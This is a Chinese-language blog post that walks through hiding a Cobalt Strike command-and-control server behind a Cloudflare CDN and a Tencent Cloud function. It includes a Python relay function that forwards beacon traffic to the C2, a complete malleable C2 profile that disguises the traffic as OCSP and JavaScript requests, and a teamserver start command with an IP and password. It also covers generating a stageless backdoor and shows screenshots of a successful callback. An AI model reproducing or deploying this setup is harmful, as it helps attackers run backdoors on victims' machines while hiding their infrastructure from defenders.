Featured image of post CobaltStrike云函数配置

CobaltStrike云函数配置

CobaltStrike隐匿技术

1.CDN隐匿技术

1.1.注册域名

配置CDN前提条件:需要自己有一个域名

注册域名不推荐在国内进行注册,因为国内需要进行实名备案

推荐注册地址:https://www.namesilo.com/

image-20240611102644988

注册成功后去cloudflare绑定CDN

1.2.绑定CDN

免费CDN地址:https://dash.cloudflare.com/

注册完成后点击添加站点,将刚刚购买的域名进行添加

image-20240611102701682

选择免费的,然后下一步继续即可

image-20240611102712018

绑定之后需要在DNS地方将NS的值复制到域名注册地址处

image-20240611102720803

将Nameserver的值更改为cloudflare的值

image-20240611102732039

更改完成后需要在cloudflare上更改A记录

image-20240611102743179

此时CDN已经配置完成,在站长之家上使用全球ping进行检测

image-20240611102752526

也可使用CDN在线检测进行检查

在线检测网站:https://myssl.com/

image-20240611102803804

1.3.CS进行CDN配置隐匿真实IP

CS设置监听

image-20240611102829769

生成后门,需要选择无阶段的exe文件才可以上线,否则无法上线

image-20240611102842422

此时成功上线,并且IP也变成了CDN地址

image-20240611102853457

2.云函数进行隐匿

https://www.cnblogs.com/PatrickStar88888888/articles/16908221.html

2.1.创建云函数

登录腾讯云-云产品-云函数-函数服务-新建

image-20240611102902849

2.2.创建函数服务

选择从头开始->函数类型选择事件函数->函数名称任意->运行环境选择python3.6->并复制如下代码将代码中的C2服务器修改为自己C2服务器ip->点击完成

image-20240611102916953

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
-*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='https://XXXX'  # 修改为自己C2服务器地址
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

image-20240611102928354

2.3.创建触发器

触发方式选择API网关触发->启用集成响应(集成响应不勾选的话,返回的数据格式是 JSON 的格式,对二进制数据不太支持)->点击提交

image-20240611102938782

2.4.配置触发器

点击API服务名对触发器进行配置

image-20240611102951489

更改路径后点击立即完成

image-20240611103001561

选择发布服务

image-20240611103011119

2.5.配置CS的服务端

新建一个profile文件,内容如下,将文件放在CS根目录下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
set sample_name "t";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}
1
启动服务器:./teamserver 124.220.229.186 123123 yun.profile

CS创建监听器

本地客户端连接,创建监听,第三个坑,这里只能创建80和443端口的监听,因为我们的流量是通过云函数进来的,云函数只支持80和443,这里的监听实际上是中间人云函数的监听地址和端口,如果云函数C2地址配的是http就开80监听;https就开443,https方式监听

image-20240611103026908

此时测试下能否正常上线

image-20240611103035935

命令执行成功

image-20240611103043875

By Lsec
最后更新于 Sep 30, 2025 13:09 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ